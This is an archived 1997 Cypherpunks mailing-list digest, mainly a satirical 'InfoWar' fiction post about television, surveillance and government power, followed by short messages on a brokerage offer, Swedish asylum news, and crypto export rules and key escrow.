"And before Gomez began to build his Evil Empire on the cornerstone
of WebTV."

Baby looked up at ? the Lunatic as if wishing she understood human
speech. She laid her head down on his leg and drifted off to sleep
as he continued to talk to her, certain that, at some level, she
understood what he had to say.

"I saw it coming from a long way off, Baby. I thought
about it, wrote about it, and I even told others about it..."
he could hardly believe what he was about to say, ...without
ever really, fully, believing it myself."
"I thought everybody saw." he told her, massaging
her spine as she slept. "I thought people understood."

"I thought they were like me." ? the Lunatic
continued, shaking his head in sadness. "I thought that
they saw, and understood, and were only putting aside their knowledge
until it began to matter enough that they must turn back, and
return to sanity, to reality..."

? the Lunatic sat in quiet meditation, searching his body, mind
and soul for the words he could speak which would, once and for
all, make what he had always known, become real. Real forever,
never again to be forgotten in the madness that ruled the land.

"TV is REAL!"
? the Lunatic had said it himself, long before Gomez had spoken
those prophetic words. 
Long before it had quickly begun becoming a truism, with video
recorders capturing every aspect of life, and beginning to define
life, itself. Before 'The World's Funniest Home Videos'...before
'Cops'...before the O.J. trial...before 'Real TV.'


He had said it before Gomez, and he had said it better. And it
lay somewhere in the tattered ruins of his mind...calling him
back to reality.

"All my lies are true." 
He remembered! A two line poem by Carroll, the muse within.

"And everything I do, I really am."


When the bodies began dropping on TV, they dropped at our front
door. But the bodies on TV got up and went home at the end of
the day, to their family and friends, and they came back to do
it all again tomorrow.
The bodies at our front door did not.

We watched 'other people' march for freedom. We watched 'other
people' hate them. We watched 'other people' kill for freedom.
We watched 'other people' die at their hands.
Then suddenly, without warning, it became us that we were
watching.

"Vietnam, Baby." ? the Lunatic told her, as he
watched her sleep peacefully, in a world that was safe and secure.

"It wasn't them we were watching anymore, it was
us. It was our fathers and sons, our brothers and friends,
our neighbors and those who lived on the other side of our
town. It was us who lay dying on a foreign shore. It was
our blood seeping into foreign soil.
"It was our blood being shed at Kent state, and
us being gassed and beaten at the Chicago Democratic Convention."

"O.J...." he said, shaking his head, wondering
where the years had gone since Charles Whitman had climbed to
the top of the University of Texas campus tower and started blowing
away total strangers...the inhuman ants who lay far, far below
him.
"A silicon chip slipped inside his head." ? the
Lunatic had sung those words with Kinky Friedman, at the 'Charles
Whitman Memorial Reunion' gig in Austin.

It was a shock to the whole nation. The televised 'event' had
somehow changed something sacred. 
It meant that it was no longer safe to [Bang!] walk down
the street; to [Bang!] step out of a campus building, laughing
with a friend; to [Bang!] unload your musical equipment
to set up for your gig at the Hole In The Wall bar across from
campus; to [Bang!] sit at home, safely, watching television
and not see people just like you, doing what you do every day,
fall victim to the random violence of a crazed stranger.

And O.J. brought it home, from far, far away, to our own doorstep,
where the bodies of those killed on the television dramas and
movies lay dead, still.
But now the victims weren't dead. Nicole was screaming outside
our door, her throat slashed as she struggled with a determined
attacker. She lay bleeding on our walkway as a stranger, our son,
came to her defense, only to meet a savage and horrible death
for trying to save our wife, our mother, our daughter.
We were concerned when we watched the death of our heroes, as
they fell to crippling diseases from living lifestyles similar
to our own; as they fell from the pedestals upon which we worshipped
them when they proved themselves to be mere mortals, like us.

And now they were murdering us, our families, and our children.
And they showed no remorse...

"I might have been able to forget," ? the Lunatic
told Baby, as she looked up at him sleepily, nuzzling her head
into the warm safety of his crossed legs, "if it hadn't
been for the CypherPunks."
"They just can't leave it alone. They won't lay down and
die, like any sane and normal person with half a brain."

It's not that the CypherPunks were all cynical...all contrary
just for the sake of being contrary. There were no shortage of
list members who could pull off that act, without acting, from
time to time, but many of them were actively working toward
something. A goal, edification, erudition, a project, a point
of view.
But the crap just kept coming. The Privacy Thieves only wanted
ElectoAustria. Then they wanted ElectroPoland. Then they came
to our town, and they said they just wanted to protect
us, but they needed to take our guns, to keep us safe. They needed
to listen to our phones to make certain that they could protect
us from unknown evils. They needed a key to our door, so that
they could save us, in an emergency...even if it meant saving
us from ourselves. 
And they needed access to our letters, our conversations, our
words, our whispers, our thoughts and our minds...

"Nuke D.C.!"

Baby leapt to her feet as ? the Lunatic shouted so loudly that
the walls shook, and the windows rattled.
She began barking, in support. Jumping up and pawing his legs,
trying to say something, he was certain of it. She leapt time
and time again, begging him to understand...begging him to
have 'ears to hear.'

"Nuke Ottawa, too!" he shouted, and Baby jumped
up in his arms, and began to lick his face. What a dog...what
a wonderful fucking dog!

"I should have named you 'Killer.'" he said,
as he gave her a bone.


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 16 Sep 1997 15:56:09 +0800
To: cypherpunks@toad.com
Subject: InfoWar 11 / The GeigerBurg TEXT
Message-ID: <341E363E.3800@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Distributed Mind
     Real TV

----------------------------------------------------------------------------

                              Distributed Mind
----------------------------------------------------------------------------

Bubba Rom Dos and the Cowboy sat silently staring at one another across the
antique oak table which increasingly served as a reminder that their present
was also a part of a long distant past.

A past which wouldn't go away...

"Good morning, gentlemen." d'Shauneaux tipped his hat to the somber pair of
time-worn miscreants.
"Ladies..." he said, turning to the sleeping figures on the cots at the back
of the room, while giving himself a hitch in the crotch.

Cowboy and Bubba broke into wide grins, for the first time in quite a while.
Cowboy nudged Rom Dos and stage-whispered, "It looks like our 'other
brother, Bubba' is going to die a slow and horrible death at the hands of
the Feminazis."

"Those who do learn from the past, are happy to repeat it!" came the voice
of the 'sleeping' Priscilla.

"Put it back in your pants, Bubba #3." came the voice of the 'sleeping'
Alexis.

d'Shauneaux looked confused.
"Who is Bubba #2?"

Bubba Rom Dos rose to his feet and winked at d'Shauneaux while giving
himself a hitch in the crotch. He returned to his chair amidst a roar of
laughter from the maddening crowd of Mythical Remnants, as they had dubbed
themselves after the experiences of the last few days.
Alexis smiled at having used this shared joke from her and 'Uncle Bubba's'
sordid past to set up d'Shauneaux for the punch line. Priscilla just shook
her head in disgust at this reminder of what she had subjected her poor
young daughter to in the days of her youth.

After the morning hugs and the morning toasts had been taken care of, the
group got down to the business of waiting silently for one or another of
them to find some slim ray of hope to offer to the others concerning their
rapidly deteriorating situation.

"What the hell happened to InfoWar?" d'Shauneaux said, out of the blue.
The others looked at him as if that was exactly what they had expected him
to say.

"Damned if I can figure it out." the Cowboy shook his head, looking
bewildered.

"It died before it was born, from what I understand." Priscilla seemed
equally mystified.

"It was strange." Alexis commented. "It appeared in the shadow of the
InterNet, becoming a looming figure of the future when the 'Information
Highway' took hold, but after the opening salvo was fired on the CypherPunks
list, it just quietly disappeared.
"As if it had never begun." she added.

Everyone turned toward Bubba, awaiting his contribution to the discussion,
but he sat there staring at each of them in turn, and all of them at once,
with a puzzled look on his face. It wasn't a 'good' look, it wasn't a 'bad'
look, it was...

"Distributed Mind!" Bubba suddenly intoned in a whispered shout.

The others stared at him, dumbfounded, but unsure as to why, or about what.

"Distributed List!" the Cowboy slapped his forehead.

"Distributed Persona!" Alexis said, as if waking from a dream.

d'Shauneaux rose from his chair with a look of divine revelation on his
face, as if blessed with a vision from the heavens. He held his hand out
above his head as if calling for complete silence while he drank in the last
sips of the spiritual liquor from above.
Finally, he spoke, while grabbing his crotch, once again,

"Distribute this!" he shouted, causing everyone in the room to burst into a
fit of laughter that seemed like it would never subside.

"So what, exactly, are we talking about, here?" d'Shauneaux asked when the
laughter had finally ceased.
"I'm getting the distinct impression that all of you are finishing a
conversation that you never started. Not that I understand what I just said,
you understand."

"Exactly!" Bubba broke in, as if d'Shauneaux had just cleared up an
important question that hadn't yet been asked.
"Multi-user persona. Distributed list.
"Distributed, multi-user persona."
"Distributed Mind!" Bubba shouted...for real, this time.

The small collection of practical mystics looked at one another in awe of
what they seemed to be realizing, as if of one mind...

The Cowboy was the first to say what all of them now knew.
"InfoWar was never fought, because by the time it began, it was already
won!"
----------------------------------------------------------------------------

? the Lunatic sat on the futon, sipping Jim Beam and speaking softly to Baby
as he scratched her behind the ears.
Although he knew he was as crazy as he had ever been, it was an experience
which he could only describe as 'Stone-Cold Crazy.'

"Stone-Cold Crazy, Baby." he told her, sure that she understood.

He continued talking to her, not to imbue the moment with great meaning, but
seeming to need to burn off an excess of random thoughts that were sweeping
rapidly through his mind, all interconnected but needing to find release if
they were ever to be slowed down and sorted out in the realm of reality.

"If it wasn't for the word, 'Baby', there wouldn't be no Rock & Roll!"
It was as good a place as any, to start. The hallowed words of Gomez,
himself.

"Time flies like an arrow. Fruit flies like a banana."
The final words of the Author in "The Xenix Chainsaw Massacre."

? the Lunatic spoke quietly, but rapidly, pouring forth a liturgy of quotes
and thoughts, wavering back and forth between rationality and dementia.

"Patience comes to those who wait. If you don't leave me alone, I'll find
someone who will. Will I still respect you in the morning? Hell, I don't
respect you now! Who put the Ram in the Rama-Rama Ding-Dong? My madness
takes it's ground-round, 59 cents a pound. SPACE ALIENS HIDE MY DRUGS!"

What was he looking for? It was on the tip of his tongue. It was everywhere
and nowhere. It was in the midst of his sanity and at the depths of his
madness.
It was...

"TV is REAL!" the voice came loud and clear, stretching from the distant
past to the equally distant future.

"TV is REAL. TV is REAL. TV is REAL!" he repeated over and over, knowing
that if he could just focus on what meaning it held...what meaning it held...

"InfoWar!" thought ? the Lunatic, suddenly remembering the question:
"What the hell happened to InfoWar?"

"TV is REAL!" he said, not daring to believe what he heard in his inner mind
as the words were spoken.
"InfoWar was over before it began..."

"It was over before it began." he repeated.

Suddenly, everything was crystal clear.
----------------------------------------------------------------------------

                                   Real TV
----------------------------------------------------------------------------

The tattered remnants of the Magic Circle were having the time of their
lives. While their world was fast falling apart, both in the present and in
the past, they were celebrating life in both milieu at once.

"George Goebels." Cowboy said. "He was a riot!"

"And 'I Love Lucy' wasn't?" Priscilla gave him a doubtful look.

"Paul Neuman." d'Shauneaux said. "He knew the 'rules' of war!" He feinted a
kick to the Cowboy's groin.

"Bianca and Blanc!" said Alexis, acting coy.

"They weren't in any of the movies we watched." Cowboy gave Alexis a stern
stare for stepping out of line with the rest of the group's conversation.

"That's right, Alexis." Bubba joined in, wagging two fingers at her
menacingly before turning to stick them into the Cowboy's eyes, slapping
d'Shauneaux across the face, and then banging the two men's heads together.

"The Three Stooges!" Jonathan called out, throwing everyone into fits of
laughter as they recognized Bubba's excellent parody of the trio who had won
the comedic hearts of boys and men throughout history, while leaving the
girls and women scratching their heads.

Bubba passed around a bottle of his 'Special Reserve' Jack Daniel's and the
Cowboy started a bottle of Jim Beam moving in the opposite direction.
"To Bogie and Bacall." Bubba said, raising his glass in toast, and the
others nodded their agreement with his astute judgment in settling the
battle of the sexes amicably.

Once they were done reveling in the mountains of pleasant memories which
would now be permanently etched in their minds from their marathon video
cruise through the past, they turned to the more serious business of
discussing the dark side of the technology they had been studying nonstop,
day and night, for several days.

"McLuhan nailed it." Alexis was the first to speak. "The medium is the
message."

"It has been true since the dawn of time, and will remain true until the sun
sets on this mortal stage within which we make our exits and our entrances."
Bubba said, solemnly, looking as serious as he ever had since the gathered
group had known him.
"McLuhan was a compatriot of Bubba Rom Dos I." Bubba continued, with a tone
of respect in his voice that those assembled had rarely heard. "It is no
surprise that the Author understood the future of mankind, for better or
worse, lay within the breast of the InterNet, long before it became the
common view. He knew that man and machine, mind and data, would finally be
irretrievably wed in the march toward the future.
"And he saw the specter of the Evil One's hand casting its shadow over the
InterNet, even in the days when the handful of others who knew of its
existence were looking to it as the coming Savior of mankind."

"Kill!" commanded the grizzled old guru, and the IntelliVoice Matrix scanned
their recent conversation, bring up to the GraphiScreen the relevant
passages from "The Xenix Chainsaw Massacre."

~~~

Gomez had seen the media bringing the far-flung reaches of the world and its
people closer and closer together with each new technological development.
Prehistoric man lived and died, for the most part, within a matter of miles
from the place of his birth. With the invention of the wheel he began to
travel a little further...into new and foreign lands. In the days of sailing
ships it took man the better part of his lifetime to cross the oceans,
navigate the world, and return home. Then came faster ships, then airplanes
and jets.

Communications technology made the world smaller, but only at the limits of
its current level of development. Mail brought news over a period of years,
then months, then weeks and days. Newspapers brought news of the outside
world to the average citizen. Then suddenly, with the advent of the
telegraph, the wireless, radio and television, the world became an extension
of ourselves-and we became an extension of the world.

Now, when it happens in Paris, in Vietnam, in Russia, it happens here-in our
living room-nightly. Fashion trends, opinions, world views-these are no
longer our own private enclaves of individuality. What we do, and espouse,
belongs to the world, and what they adopt and embrace belongs to us. All of
mankind now shares, in an interactive experience, the reverberation of all
that we do, individually and collectively,-spanning the oceans and
continents until it has finally become a truism that, "no man is an island."

~~~

The clan of true believers sat with their heads bowed, almost weeping with
the force of emotion that descended slowly upon them as their minds retraced
the trail of history they had followed from the Author's era to their own.
Knowing, all the time, the end that would come unexpectedly on the
unsuspecting souls who thought that Technology was going to be a kind God,
and a good Master.

"How was it that the Author saw what nobody else at the time seemed to
notice?" Alexis asked Bubba. "How did he manage to foresee so clearly the
Dark Path that lay ahead for a technology that was still in its infancy?"

Bubba smiled, feeling in his element, in control, once again. He was, after
all, a teacher of metaphysics, first and foremost, no matter what his
outwardly outrageous personal predilections.
"The Author saw no more than those with eyes to see have seen from the
beginning of time. The difference was that he recorded what he saw, and he
followed its trail into the future by bearing in mind the past."

"Brave New World." Jonathan said. "Animal Farm. Catch-22. One Flew Over the
Cuckoo's Nest. Them. Invasion of the Body Snatchers. Night of the Living
Dead."
Jonathan knew these titles by heart, from the books in his Grandfather's
study.

Each member of the Magic Circle broke into a wry grin, as if from a single
pair of lips. Yes, Bubba was right. There were those who saw, and those who
spoke of the world that lay beyond the veil of mechanical consciousness,
throughout the annals of time.

"The Author was not alone in his vision, he merely recorded it at a time and
place in history where his words would prove conspicuously prophetic because
society and technology were moving at such a rapid pace that tomorrow's
seeds were blooming today, but nobody was stopping to smell the flowers."
Bubba pointed out.

"Or the stench!" the Cowboy added.

The Cowboy sprang from the lineage of the Author, and he understood very
well the nature of the startling prophecies he made which so astounded those
who read his manuscript with the benefit of the hindsight provided by the
march of history.

They continued reading the excerpt from the "TXCSM" manuscript:

~~~

We now live in an age where, in between the slumber of the soap operas and
the bewitchment of 'prime time,' we are fed our opinions and world-views in
catch-phrases and ten second sound-bytes.

At the same time, Gomez sees to it that there is enough trouble and turmoil
in the world that the World Leaders, even in democracies, can chip away at
human and individual rights under the guise of dealing with various
'threats' that they, themselves, have concocted as a means of retaining
power over the masses.

Even as the governments of the world strive to bring everyone and
everything, however minute, under tight control and regulation, Gomez and
the Dark Allies are behind the scenes, helping to guide the development of a
technology that will, along with television, be the ultimate weapon in their
struggle for the domination of all mankind-the Computer.

~~~

Priscilla was the first to mention what they were all thinking, this time.
"It's almost like reading the Cypherpunks list."

"It predated the CypherPunks list," the Cowboy noted, "but it didn't predate
the CypherPunks. They, like the Magic Circle, have existed from the
beginning of time.
He looked at Jonathan to explain further.

"If the Cypherpunks had never existed, then history itself would have had to
turn back on itself and invent them before moving forward."
Jonathan watched the smiles of his dearest friends as they saw the love with
which he spoke of those who had helped shape his childhood. It was the same
love that they had all experienced in the bond they felt within the Magic
Circle.
"The Cypherpunks mailing list gave hope and sustenance to the Circle of
Eunuchs initiates who happened across its path. Since the original meeting
where the Magic Circle had been formed, they had been forced to work alone,
in secret, never knowing if their efforts would ever make a difference in
the larger scheme of things."

They returned to the excerpts:

~~~

The rich and powerful have managed to lull us to sleep with the hypnotizing
power of television-stealing our thoughts and our reasoning processes in our
slumber, feeding us our reality via the airwaves...according to the 'official'
party line.

The government and the media have placed us on neat little shelves where we
are numbered and labeled according to their own wants and needs. We are
allowed the illusion of freedom of thought, and individual choice, as long
as we have our 'Freedom of Thought Permit 1136.51-709' and don't stray too
far from the permitted paths.

~~~

Jonathan told the assembly, "The Cypherpunks, more than anyone in their era,
understood that."

"And the Circle of Eunuchs understood that..." Bubba pointed to the words only
now beginning to take shape on the screen he had opened.

~~~

In the great battles of the past the Dark Forces have always been beaten by
the individuals scattered in the secret places, living unnoticed in
obscurity. Living quietly and unobtrusively, forgotten about in the madness
storming the land, they have kept alive the spark of Thought and Reason.
They were able to go quietly about their work, making contact with the
individuals who were ready to escape the madness and work towards restoring
Sanity in the land.

~~~

The Cowboy stood up and made a sweeping gesture toward the screen, as it
filled anew, saying, "And both organizations contained a variety of
individuals who, despite the fact that the minds of almost all of society
around them was caught in the grip of the Evil One's mind-numbing vortex,
rose above the automatism of their age to do what they could to warn their
fellow citizens of the following..."

All eyes turned toward the screen, to read:

~~~

This time there will be no escape. Every man, woman and child on the face of
the earth will have a dossier documenting their life from the time of their
arrival on the face of the planet. Information gleaned from the Department
of Motor Vehicles, their Social Security Number, banks, credit cards,
magazine subscriptions, charitable and political contributions.

When Gomez removes the masks of his human allies, revealing them as dark
agents who have been rewarded with wealth and power for doing the bidding of
the Evil One, the names of the misfits and wrong-thinkers will be spit out
of the computers at the speed of light-to be rounded up and disposed of in
the opening salvo of the new Holocaust.

Only then will the final Battle of Armageddon begin, ravaging the face of
the earth and devouring humanity; bringing total control of humankind under
the Dominion of the Evil One, with nobody but the Waking Dead left to carry
on the human race.

~~~

The group sat quietly, in solemn honor of those throughout history who had
held closely to the small, quiet spark of the Tao, the human spirit, the
Creator, or whatever they envisioned when Eternity whispered to their souls.

Slowly, they began to stir, and rose to silently stretch before returning
once again to the great oak table to continue their quest for understanding
as to how and why they must find some way to make their reach into the past
result in a slight shift in the course of history...a shift that could move
mountains in the CypherPunks' future...and in the Magic Circle's present.
----------------------------------------------------------------------------

? the Lunatic turned the page on a manuscript that had just been set down a
century in the future. He knew what the Magic Circle of that era knew, and
he knew what they needed to know to bring their desperate gamble to a
successful conclusion.

~~~

Gomez and the Dark Allies began their two-pronged attack on mankind through
the Wonderful World of Television. They had seen the hypnotizing power of
television, how it made us 'comfortably numb,' how it shaped our
world-views, our opinions, and our reality...eventually becoming our reality.

Zappa tried to warn us.

"Watch me and I'll bleed you, 'cause you eat the shit I feed you."

Fogherty just gave in, and accepted it.

"I know it's true. Oh, so true. I saw it on TV."

~~~

InfoWar was over before it even began.
After reading this passage, for the umpteenth time, ? the Lunatic finally
understood, with the help of those who had seen, and been, the living proof
of both this passage and another one which had leapt to his mind to start
him on his current train of thought.

"TV is REAL."
A bumper sticker that the Circle of Eunuchs had promulgated during the life
of the Author, knowing that not one person in ten thousand would understand
what it truly portended for their future.

"Real TV, Baby."
? the Lunatic petted her lovingly, as she licked his arm in return.

"Video_World, and TV_World. Those were the titles we had put to Part II of
'The True Story of the InterNet.' But that was before the censorship crisis
on the CypherPunks mailing list, when we saw the sticky, tangled tentacles
that lay at the root of the World Wide Web.
"And before Gomez began to build his Evil Empire on the cornerstone of
WebTV."

Baby looked up at ? the Lunatic as if wishing she understood human speech.
She laid her head down on his leg and drifted off to sleep as he continued
to talk to her, certain that, at some level, she understood what he had to
say.

"I saw it coming from a long way off, Baby. I thought about it, wrote about
it, and I even told others about it..." he could hardly believe what he was
about to say, ...without ever really, fully, believing it myself."
"I thought everybody saw." he told her, massaging her spine as she slept. "I
thought people understood."

"I thought they were like me." ? the Lunatic continued, shaking his head in
sadness. "I thought that they saw, and understood, and were only putting
aside their knowledge until it began to matter enough that they must turn
back, and return to sanity, to reality..."

? the Lunatic sat in quiet meditation, searching his body, mind and soul for
the words he could speak which would, once and for all, make what he had
always known, become real. Real forever, never again to be forgotten in the
madness that ruled the land.

"TV is REAL!"
? the Lunatic had said it himself, long before Gomez had spoken those
prophetic words.
Long before it had quickly begun becoming a truism, with video recorders
capturing every aspect of life, and beginning to define life, itself. Before
'The World's Funniest Home Videos'...before 'Cops'...before the O.J.
trial...before 'Real TV.'

He had said it before Gomez, and he had said it better. And it lay somewhere
in the tattered ruins of his mind...calling him back to reality.

"All my lies are true."
He remembered! A two line poem by Carroll, the muse within.
"And everything I do, I really am."

When the bodies began dropping on TV, they dropped at our front door. But
the bodies on TV got up and went home at the end of the day, to their family
and friends, and they came back to do it all again tomorrow.
The bodies at our front door did not.

We watched 'other people' march for freedom. We watched 'other people' hate
them. We watched 'other people' kill for freedom. We watched 'other people'
die at their hands.
Then suddenly, without warning, it became us that we were watching.

"Vietnam, Baby." ? the Lunatic told her, as he watched her sleep peacefully,
in a world that was safe and secure.
"It wasn't them we were watching anymore, it was us. It was our fathers and
sons, our brothers and friends, our neighbors and those who lived on the
other side of our town. It was us who lay dying on a foreign shore. It was
our blood seeping into foreign soil.
"It was our blood being shed at Kent state, and us being gassed and beaten
at the Chicago Democratic Convention."

"O.J...." he said, shaking his head, wondering where the years had gone since
Charles Whitman had climbed to the top of the University of Texas campus
tower and started blowing away total strangers...the inhuman ants who lay far,
far below him.
"A silicon chip slipped inside his head." ? the Lunatic had sung those words
with Kinky Friedman, at the 'Charles Whitman Memorial Reunion' gig in
Austin.

It was a shock to the whole nation. The televised 'event' had somehow
changed something sacred.
It meant that it was no longer safe to [Bang!] walk down the street; to
[Bang!] step out of a campus building, laughing with a friend; to [Bang!]
unload your musical equipment to set up for your gig at the Hole In The Wall
bar across from campus; to [Bang!] sit at home, safely, watching television
and not see people just like you, doing what you do every day, fall victim
to the random violence of a crazed stranger.

And O.J. brought it home, from far, far away, to our own doorstep, where the
bodies of those killed on the television dramas and movies lay dead, still.
But now the victims weren't dead. Nicole was screaming outside our door, her
throat slashed as she struggled with a determined attacker. She lay bleeding
on our walkway as a stranger, our son, came to her defense, only to meet a
savage and horrible death for trying to save our wife, our mother, our
daughter.
We were concerned when we watched the death of our heroes, as they fell to
crippling diseases from living lifestyles similar to our own; as they fell
from the pedestals upon which we worshipped them when they proved themselves
to be mere mortals, like us.
And now they were murdering us, our families, and our children. And they
showed no remorse...

"I might have been able to forget," ? the Lunatic told Baby, as she looked
up at him sleepily, nuzzling her head into the warm safety of his crossed
legs, "if it hadn't been for the CypherPunks."
"They just can't leave it alone. They won't lay down and die, like any sane
and normal person with half a brain."

It's not that the CypherPunks were all cynical...all contrary just for the
sake of being contrary. There were no shortage of list members who could
pull off that act, without acting, from time to time, but many of them were
actively working toward something. A goal, edification, erudition, a
project, a point of view.
But the crap just kept coming. The Privacy Thieves only wanted
ElectoAustria. Then they wanted ElectroPoland. Then they came to our town,
and they said they just wanted to protect us, but they needed to take our
guns, to keep us safe. They needed to listen to our phones to make certain
that they could protect us from unknown evils. They needed a key to our
door, so that they could save us, in an emergency...even if it meant saving us
from ourselves.
And they needed access to our letters, our conversations, our words, our
whispers, our thoughts and our minds...

"Nuke D.C.!"

Baby leapt to her feet as ? the Lunatic shouted so loudly that the walls
shook, and the windows rattled.
She began barking, in support. Jumping up and pawing his legs, trying to say
something, he was certain of it. She leapt time and time again, begging him
to understand...begging him to have 'ears to hear.'

"Nuke Ottawa, too!" he shouted, and Baby jumped up in his arms, and began to
lick his face. What a dog...what a wonderful fucking dog!

"I should have named you 'Killer.'" he said, as he gave her a bone.
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: brandy@witcapital.com
Date: Tue, 16 Sep 1997 13:54:17 +0800
To: cypherpunks@toad.com
Subject: Wit Capital Update -- Unprecedented investment opportunities
Message-ID: <199709160538.WAA29170@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear Investor:
 
Some time ago, you expressed interest in taking part in the historic Internet public offering of Spring Street Brewing Company, the microbrewery I started in 1993.
Since then, you may be aware that I started Wit Capital for pioneering the offering and trading of securities through the Internet.
I`m pleased to tell you that Wit Capital is open for business and ready to accept your Membership.
 
Wit Capital offers individual investors unprecedented first come, first serve access to investment opportunities and services
Wall Street has long denied to individuals, such as IPOs of major underwriters at the offering price and venture capital offerings.
We will also soon offer individual investors the opportunity to get better prices on the NASDAQ stocks they trade in our Digital Stock Market.
 
When you become a Wit Capital Member, you will join a community of sophisticated investors dedicated to building wealth through long term commitment of their capital.
 
Members of Wit Capital will also get basic brokerage services at deep discount rates as well as research, educational information and forums to talk to other Members.
 
Membership is free and carries no obligation.  Wit Capital does not employ commissioned brokers, so you will never be pressured to buy or sell anything.
 
I urge you to learn more about Wit Capital and become a Member by visiting http://www.witcapital.com.
 
Sincerely yours,
 
Member NASD and SIPC
Andrew Klein
Founder
Wit Capital Corp.
 
P.S. Because of the high degree of risk associated with an investment in new issues, such investments are not suitable for all investors.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Tue, 16 Sep 1997 08:19:04 +0800
To: cypherpunks@toad.com
Subject: US dissident in Sweden
Message-ID: <Pine.HPP.3.91.970916010005.26629A-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain



The Dagens Nyheter reported yesterday that a US citizen,
Mr Ritt Goldstein, is in Sweden asking for political asylum.
Alledgedly he has been systematically harassed and persecuted
by US police after organizing resistance against police
violence and brutality.

The NYPD 'zero tolerance success' has recently been praised
here as something for the Swedish police to learn from. Luckily
the 'up yours' story surfaced soon afterwards.

The latest crypto policy news here says that Sweden will not
go along will mandatory GAK. In the long run there is little
hope for European resistance to the New World Order, though.
Only France has nuclear warheads out of US control and France
is The Enemy as the leading proponent of an EU Superstate.


Asgaard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 16 Sep 1997 10:32:51 +0800
To: cypherpunks@toad.com
Subject: Adam Back in British Science Journal
Message-ID: <199709160211.EAA24308@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




 When the British Science Journal asked readers to
recommend redesigns of the human body, one imaginative
soul said he'd like the esophagus separated from the
trachea with different apertures so he could drink a yard
of ale and sing "God Save the Queen" at the same time.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Tue, 16 Sep 1997 17:48:10 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: House National Security committee guts SAFE, worse than no bill
Message-ID: <199709160938.FAA25781@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain




                          CORRECTED MESSAGE

[Adam Back has pointed out that I made a stupid mistake when I sent the
original version of this message, in that I failed before sending it to
delete some code, which Declan McCullagh had included in his message, as
I had intended.  I cannot reconstruct exactly how I came to make this
mistake, but suspect that it had to do with the fact that at the time I
sent it I was rushing to get to class and was having difficulty both
with my connection to my office machine and with my monitor, which tends
to flicker badly when someone uses a hair dryer or something like that
in the building where I live.

Here is what I had intended to send.  Please correct your records
accordingly.  I regret any inconvenience my mistake may have caused.]

------Text of Corrected Message

Adam Back writes:

: 
: Declan McCullagh <declan@well.com> writes:
: > 
: > I was talking to someone after a law class this evening (we're covering
: > electronic privacy topics, but unfortunately we're not at crypto yet). He
: > suggested widespread civil disobedience. 
: 
: Might I suggest using RSA in perl:
 
[Adam Back's code for RSA in perl is deleted (but you can find it at 
<http://www.dcs.ex.ac.uk/~aba/rsa/> and in Declan's original message).] 
 
: which is now officially non-exportable (as reported by Peter Junger;
: he asked for serveral code examples and this one was one of the
: non-exportable ones).  Short enough to make them look silly, short
: enough that most people don't have qualms about quoting, or using as a
: .sig.  And they've committed themselves in writing to Peter Junger
: that you're not allowed to export it.

For the classification by the commerce department of the programs that
my Legal Attack Team submitted, and for the applications, see
<http://samsara.law.cwru.edu/comp_law/jvd/index.html>.  

It is unlikely that we will be seeking further classifications in
connection with my suit, but it might be an interesting and useful
project---not involving civil disobedience---for some of you.  It
would be interesting to see exactly which encryption programs the
bureaucrats classify as encryption programs, and which they don't.
It would also be interesting to see if they give the same
classifications in response to requests by those who are not suing
them.

I must, however, warn you that it is not an easy project.  It cannot
be done by e-mail and you have to get numbered forms from Commerce
Department on which the applications must be submitted.  In fact,
the difficulty of applying for a classification or a license is one of
the many reasons for concluding that the export restrictions on
cryptography violate the United States Constitution.  

It would certainly be helpful if it turned out that that Commerce
cannot or will not respond promptly to classification requests made by
would-be publishers of cryptographic software who are neither
commercial publishers nor suing to enjoin the enforcement of the 
regulations.
 
--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Tue, 16 Sep 1997 21:27:30 +0800
To: e$@thumper.vmeng.com, cypherpunks@Algebra.COM
Subject: Re: GAK will probably be economically impossible
In-Reply-To: <v0311071fb042f4760f25@[139.167.130.248]>
Message-ID: <199709161324.JAA02545@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 15 Sep 97 at 10:19, Robert Hettinga wrote:

>  In fact, even if all transactions remain book-entry ones, the exploding
>  total transaction volume and competition to make those transactions
>  efficient will make GAK economically impossible, because it provides no
>  tangible benefit to those who use cryptography for business. There's no
>  economic return on the additional cost.
> 
>  The cost of anything is the foregone alternative, and the cost of GAK
>  causes you to forego a lot of money and potential revenue and doesn't buy
>  you anything in return.

In the long term, you are right.  But taxation doesn't buy much in 
return that you couldn't buy by yourself either but they still do 
it...

But again, the incentives are differents from their standpoint...

Ciao

jfa





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 17 Sep 1997 01:11:15 +0800
To: cypherpunks@Algebra.COM
